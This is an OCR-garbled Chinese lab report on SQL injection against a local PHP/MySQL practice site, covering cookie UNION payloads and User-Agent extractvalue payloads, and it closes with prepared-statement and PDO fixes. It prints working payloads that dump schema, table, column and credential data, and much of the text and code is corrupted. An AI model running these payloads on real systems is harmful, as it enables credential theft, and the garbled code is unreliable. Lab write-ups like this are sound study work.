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f£5—: B .EFH Cookie Wil T . fKI &5
1-1 fE55E3
BEH1 admin %584 admin123

my "adminl?23” where id= 1 ;

select * from users;

admin
alice

t
admin’ #

=) Cookie X +
< C QO D http://localhost/cookis/index.php
D erds. Dussss @ wFir O xmmi B 55EH 62 Dow

Username:

Psssword:
Submit | | Reset

1-2 Cookie H6iETh B
B3R admin



YW, : admin

Cookie ZIEBHER: Wed 07 May 2025 - 01:57:25 ;&kCookie

Your Password: admin123

RN A8 G BRI UL, RIA T Em A - %, HiEgsidt k.

XA P 2471 T P Y cookie, 103k 1A P B ARIE, BN YA, cookie
efiAE, BRI IHEIERE,

AR cookie T4, KRBV RIH G 7 EE .

f£45=: Cookie JEABTHMIR
2-1 ZHE AR EH
% 4& Cookie Manager Jdi {4

= | Cookie X Cookie Manager x + v — X
C O &9 ¥T& (Cookie Manager) moz-extension://bb12b97e-e728-decs 17 ® @ & =

Derps. DyanEsss @ wFrEr O xmna [B sURmEE €2 Downlosoftnoic

filter by url or domain (* = wildcard)

filter by name

filter by value

Secure = any v httpOnly = any v SameSite =any v Session = any v yyyy/m/dd = yyyy/mm/dd -0

Any cookie jar v Whitelist = any v Search cookies

Search for cookies in the above form.
Select results and use the buttons at the bottom of this window to manage them.

Documentation and project page
By Rob Wu.

Open the Cookie Manager when the extension starts up.

To see cookies from Private Browsing, enable the extension to run in private windows.

2-2 Cookie £ N BTt 2

&t admin H P 2 S5 4G, 0T LA Bz ids% 7 AH58 cookie
Derpz. Dussws @ wFitis O zEmae [ s7sE 42 Downlosoftnoic
http://localhost/cookis/index.php

filter by name

filter by value

Secure = any v httpOnly = any v SameSite = any v Session = any v oyyyy/mm/dd —0 | yyyy/mm/dd —()
Cookie jar: Default v Whitelist = any v Search cookies
Name Value Domain Partition Flags Expiry date
. 7/May/2025
account admin localhost Edit
02:13:30 '

¥ value admin & 2 ¥ abc' union select 1,2,group concat(schema name) from

information_schema.schemata#idt1T sql VEANBCHT, SRECY BT 22 IR 55 4% L R BT A £dis 1 44
FRo



[
Value

|abc' union select 1,2,group_concat(schema_name) from informationjchema.schemata#| |
FEr DU, RIS F I UL “Your Password” AbHH I 704 E 4

= Cookie x Cookie Manager X  Cookie Manager X + v

< C O [ http://localhost/cookis/index.php g
S erBg. OMIEhte @ HF LR O ZEmit S5REE €2 Downlosoftnoic
IMERF : 2
Cookie ZIHEHHA: Wed 07 May 2025 - 02:15:15 ;5k:Cookie
Your Password: information_schemafirstlab,lab,mysql,performance_schema,test

HEAT 238 4 abc' union select 1,2,group_concat(table_name) from information_schema.tables
where table schema='"lab'#

< C QO [ http://localhost/cookis/index.php
D erts. DydsEntss @ FiFte Dammu [ sorwmm &)

XRILFAF : 2
Cookie FJHBHHE: Wed 07 May 2025 - 02:19:40 5&kCookie |
Your Password: books,users

5 4 abc' union select 1,2,group _concat(column_name) from
information_schema.columns where table name='users'#
MILAF : 2

Cookie FIHFEHA: Wed 07 May 2025 - 02:21:18 ;&ksCookie |
Your Password id,username,passcode,email,status,id,username, passcode

152 username F passcode. abc' union select 1,username,passcode from users#

=) Cookie X Cookie Manager X -
< > C QO D http://localhost/cookis/index.php

D EABE. D)MERds @ bk O saEmi SR €¥ Downlosc

WA - admin
Cookie FIHAHHA: Wed 07 May 2025 - 02:28:03
Your Password: admini123

;5B&Cookie |

2-3 PR T



s where id="abc’ union select 1,username, pas de from users

£ =: Cookie FEANBTETH
A mysqli_real_escape_string X Cookie {EIFATH X, FFATIFMIE X, Tkt
ARGAENIESR), BREE SQL VA

62 else
64 ; ‘q”r‘okae = mysqgli real _escape str:Lng Scon, 5 _CCOKIE['account']);
= f l: |:: g
TR, 50 sql EAJR, WOl BT RS |
&« C O [ http://localhost/cookis/index.php

B EAPE. DyEsws @ FwFEEE O xmEma I sress €

YBAR, : admin
Cookie FJEIAER: Wed 07 May 2025 - 02:31:29 i&iCookie
Your Password: admin123

HTTP LEPEAN BT

fE5—: QIBEHREE
P sql A ZNE W, &F vagents &5 .

Administrator\Desktop\Web\apache2. 4\httpd-2. 4. 33-0

ed, 1 warning (0.09 sec)

1 warning (0.0l sec)

f£45 = B AF HTTP LiBE BIRF BRI RIS
2-1 FE55EH



< C O O o http://localhost/header/index.php# bl @ 95 &
B epdg. DXmEmss @ srre O xmmi [B) sttais €2 Downlosoftnoic

Username:‘ ‘
Psssword:‘ ‘

\:Submit \ \ Reset}

ITWMAF - admin
Your IP ADDRESS is: 127.0.0.1
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0

2-2 HTTP L5 BARFFE TR
I RANRTH, S “M%”, M index.php MR E, 7 LLE B0 & 1M C

Rk, H Accpet. Cookie. Referer. User-Agent 25 k{5 S .

O DaEzEx Desws Dtz Nms (datmsx Que Ors B8 EERs » 01 0] - X

W ViiE URL I+ Q © [Izmsr Fom: Bt
fE_ HTML CSS JS XHR =k B &E ws Hfb
® 5 OEE %. # {8 K B 2 Cookie R W Rat

(26 PC @ I.. indexphp doc.. htr 1.0.. 75§RvEE)

ek =1
& GE @ |.. favicon.ico Favi.. htr B.. 20 « &k (718 1) e ™
Ac{ept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*,q=0.8

Ac{ept-Encoding: gzip, deflate, br, zstd

Acqept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cofinection: keep-alive

Cofitent-Length: 44

Cofitent-Type: application/x-www-form-urlencoded

Cofkie: account=abc’ union select 1,username,passcade from users#
Hopt: localhost

Oripin: http:/flocalhost

Prigrity: u=0, i

Referer: http://localhost/header/index php

Sed-Fetch-Dest: document
Seq-Fetch-Mode: navigate
Seq-Fetch-Site: same-origin
Sed-Fetch-User: 71
Upprade-Insecure-Requests: 1

Usgr-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefo
O 24k EIEHSIFH/ 101k seak: 49 %/ 1B8.0 v

f£45=: HTTP LIFEANBTHIR

3-1 ZEEN BRI
HTTP Header Live @
EeEEEFDE AUt uLAYETE

3-2 HTTP KA BT
iR, RIMTIEESCRE R G TER



@ HTTP Header Live v X Username:| ‘

Psssword:| ‘
bhttp://localhost/header/index. php ~ —
Host: localhost | Submit | | Reset |

ser—Agent: Mozilla/5.0 (Windows NT 10.0; M’ﬂ@%)‘j - admin

Wccept: text/html, application/xhtml+xml, a)

Accept-Language: zh—CN, zh;q=0. 8, zh-TW;g=0. Your IP ADDRESS iS: 127.0.0.1
Accept—Encoding: gzip, deflate, br, zstd Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)

ontent-Type: application/sx—www—formurle .
ontont-Longth: 44 Gecko/20100101 Firefox/138.0
rigin: http://localhost

onnection: keep—alive

Referer: http://localhost/header/index. phy
ookie: account=abc’ union select 1, usern:
pgrade-Insecure-Requests: 1
Bec-Fetch-Dest: document

Bec-Fetch-Mode: navigate

Bec-Fetch-Site: same—origin
Sec—Fetch-User: ?1
username=admin&passwd=admin123&Su
IPOST: HTTP/1.1 200 OK

Pate: Tue, 06 May 2025 18:00:44 GMT
Server: Apache/2.4.33 (Win32) OpenSSL/1.0
~Powered-By: PHP/7.1.16

ontent-Length: 750

eep-Alive: timeout=5, max=100

onnection: Keep-Alive

ontent-Type: text/html; charset=UTF-8

BAVEEA bp ML IEEL
/7 RKequest to nttp.// 139
Forward 0 Intercept is on Open browser

= \n =

ame  from

5 u nam dmi

Rty forword AL, W] LAE BIWGH T H BUHGES, TS A B E 4

Username:‘ ‘

Psssword: ‘ ‘

| Submit | Reset |
WA : admin
Your IP ADDRESS is: 192.168.120.205
Your User Agent is: 'and extractvalue(1, concat(0x5c, (select schema name from
information schema.schemata limit 0,1))) and '1'="1

SQLIETHITEEN, - XPATH syntax error: |'\information_schema' | ‘Bl D Drmiced |

PATHT), e N oRFATIHEAT K 42 and extractvalue(1, concat(0x5c, (select table name
from information_schema.tables where table schema='lab' limit 0,1))) and '1'='1

p HTTP/1.1

Username:
Psssword:
\ Submit H Reset |

¥OWAF: admin
Your [P ADDRESS is: 192.168.120.205
Your User Agent is: 'and extractvalue(l, concat(0xd¢, (select
table name from information schema tables where
table schema='lab’ limit 0,1))) and '1'="1

SQLIBIHITEML. - XPATH syntax en’o




AT 1), F77E books 3, 5 T KA T#EAT 524144 , 'and extractvalue(1, concat(0x5c, (select

column_name from information_schema.columns where table name='books' limit 0,1))) and '1'='1

Psssword:
‘ Submit H Reset |

MM admin
Your [P ADDRESS is: 192.168.120.205
Your User Agent is: "and extractvalue(1, concat(0x3c, (select
\-HK; g=0. 5, en-U 3e column name from information schema columns where
: : table name="books' limit 0,1))) and '1'='1
SQL EaHi75EM. - XPATH syntax eII

on/xhtml+xml, application/xml;g=0.

171 id 5144

3-3 WRSHT

M IR AREEN, extractvalue()/& MySQL 1) XML AbHE R4, FHTilce gl &, i
It concat(0x5c,.. ) 7EIR FIEFE AT A IR BAL(), FE XML fifresiw, A SEERE B
AE RN

fE%VH: HTTP L#IEABEBTH
4-1 ¥ L RH-
i F mysql_escape_string X} UserAgent #E174% X, Bl HTTP Sk#fiE NBL 7
Suagent = mysqli escape string(Scon,$_ SERVER['HTTP_USER_AGENT']);
SIP mysqli escape str1ng($con $ SERVER['REMOTE ADDR']): |
i1 E)\{Whiﬁ AT LU I User Agent Ab%ir HiyE NiER] CRERFZRFAT T 30, HFEAER
.

Username:‘ ‘

Psssword: ‘ ‘
| Submit | | Reset |

WA : admin

Your |IP ADDRESS is: 192.168.120.205

Your User Agent is: \'and extractvalue(1, concat(Ox5c, (select column_name from
information _schema.columns where table name=\'books\' limit 0,1))) and \'1\'=\"1

4-2 MySQLi Z2¥bim A BiiEN :

MySQLi ZH b & H AL BEE ), 2 SQL &H) &5/ A P 4 AN 285 43 T

SR JE BT mysqli stmt bind param ¥ AH <5 A SEL (U useragent) 1E NS E B H AL
B FE R X S HA A E, A2 8CAE sql IBRHAT, AmPTIEEAN.

//mysgli query($con, $insert) or dle[‘SQLhﬁ*]ﬂijtka, : '.mysqli error($con));
Sstmt=5con->prepare ($insert) ;
if(!5stmt)

echo 'prepareHiTER'
else

{

r

Sstmt->bind param("sss", Susername, Suagent, SIP) ;
Sstmt->execute () ;

}
Sstmt->close () ;

AT, RBLEN R



Username: ‘ ‘

Psssword: ‘ ‘
| Submit | Reset |

IRLARF: admin

Your IP ADDRESS is: 192.168.120.205

Your User Agent is: 'and extractvalue(1, concat(0x5c, (select schema_name from
information_schema.schemata limit 0,1))) and '1'="1

=, LKER

ARSZHIGUE T HTTP SkiAATEM SQL NI & H 22 4 WK . 8 I 5Lk HTTP Skifi#k
P, IS T IRENE AN, SR T HURE A . R &L ERURME R, IEES SQL
TEA) P T A T 22 e i . 256K H mysql_escapestring £ X BRI MySQLi 44k
WM TR, HEBEEWEASGE, Kb SEb Sl fign iepLsI SC 8 SQL #54
58, MRA EHBREATTRE.

S5 [ ISHIE T Cookie HIFFGFFIE L HTEE S : P 855, RS54 2E ) Cookie
ARG A I H AR SQL 1EA), B i B Cookie fE A& A SQL, Seid &4y ie
WEEC G . @ IR S S8 B, A A R et S

Zx b, HTTP kiFEANS Cookie 1 NG T AN HINZEAT P08, B 753848

“Hmf N LILUE. SQL Bl S Ak ” JEN . SLiniE s LA, MySQLI/PDO Z4fk
IR BB, A Web N 22 R4 T S AR -

M. BEE

1 aofalfE A 28k &R 97 Cookie VAT ?

[<2php

23

24 $dsn = 'mysgl:dbname=lab;host=127.0.0.1"

25 Suser = 'root'

26 Spassword = '123456';

27

28 Htry {

29 Spdo = new PDO(3dsn, Suser, S3password);
30 Spdo—>sethttribute(PDO::BTTR_ERRMGDE, PDC: : ERRMODE_EXCEPTION) ;
31 } catch (PDOException 5e&) {

32 die ("#UEEEZEEMN: ', Se->getMessage()):
33 ]

I3 e sql B SEAE, g, R Cookie EMEE N, Haw 4E @R H.
// £ oo E#HLE

£sgl = "SELECT * FROM users WHERE username = :username AND passcode = :passwd";
$stmt = $pdo->prepare($sql);

$stmt->bindParam(':username’', 5username, PDO::PAREM STR);
$stmt->bindParam(':passwd', $passwd, PDO::PARAM STR);

Sstmt->execute () ;

Srow = $stmt->fetch(PDO: :FETCH_ASSOC) ;



if (Srow) {
echo "¥HHAHF : ' . Srow['username']:
echo '"<br>';

Stimestamp = time () + Sexipre time;
setcookie ('account', S$cookee, S$timestamp):
$format = 'Dd MY — H:i:s';
date default timezone set('PRC');
echo 'Cookie ZJEAHHA: ' . date($format, Stimestamp) ;
echo '"<button type="button" onclick="clearCockies () ">EECookie</button>";
echo "<br>';
echo ' Your Password: ' . Srow['passcode'];
} else {
echo "Error';
echo '"<button type="button" onclick="clearCookies () ">EF S F</button>"';

}
BEAT cookie EATL MG, WM AZ AL error, FFESREFTH I, BIEANKRM.

5] | Cookie X Cookie Manager X
<_

C O D http://localhost/cookis/index.php
B erdz. Dxmasss @ FFEri O xpmit B SR 68 Downlc

Error &5 |

2. FIH Cookie 7 NI 1] LASE I M L6 T 55 2

Bt n] BRI IRECE]) Cookie B 78 H P &, Jois ZASEI A& H Pk, 2k
PATHEIK . RATNEE8RIE, EeBERHAKS.

IV E NS SQL 484, Uk 3 mI M Bk 2 cseidls 2 vh i 254

B nl 454 XSS, M Cookie 1 N = A, it — 25 57 BUH P 0 W28 i HoAth Cookie
58, Bt XSS dhay ot .

B # i i E B Cookie HHIAL PR F-BL, S BUBRKLE:, SREUE SRR

EANKEREEHIE S IERFIR Cookie 3K, I SRS 48 /B 58, W HEL 2 T,
RS RIELIRS, RS H P TEEV IR RS

3. HTTP kNI BR T FIFH User-Agent [ PI 2%, 164 B py 25 ] LLFI A 2
Referer 155 1 FH 77 0] 24 1l U2 10 A% SR 02 T Ha bl

Cookie 7% F viig M1l 55 4 A AR (R B o

MR 25 ZRARHE Host Skl R e 15 3K (1 H Arisli i

X - Forwarded - For 1t 5 £ ix AACH IR 5548 I 1% P o B0 58 TP bk

4. frfE PDO ZEfbili A 75 2T IE http SkiliE A By

HRAE SR ERERE S, WS T sql 1BH), A G ALRFACER useragent, HE
ESACE NS ECA R BB A B, A2 SQL AURS Y — 8 7, RIMEXGE# /2 HTTP k
MPEACEE R SQL AU, R SWEAIETAT B AEH, AP AT .



S$insert = "INSERT INTO uagents (username, uagent, ip_address) VALUES (:username, :uagent, :ip_address) “p
SstmtInsert = Spdo->prepare($insert);

$stmtInsert->bindParam(':username', Susername, PDO::PARAM STR);

SstmtInsert->bindParam(':uagent', Suagent, PDO::PAREM STR);

$stmtInsert->bindParam(':ip_address', S$IP, PDO::PARAM STR);

S$stmtInsert->execute();

HBEAT I, TR

Username:‘

|
Psssword:‘ ‘
Submit  Reset.
IlAF: admin
Your IP ADDRESS is: 192.168.120.205
Your User Agent is: 'and extractvalue(1, concat(0x5c, (select schema_name from
information_schema.schemata limit 0,1))) and '1'="1
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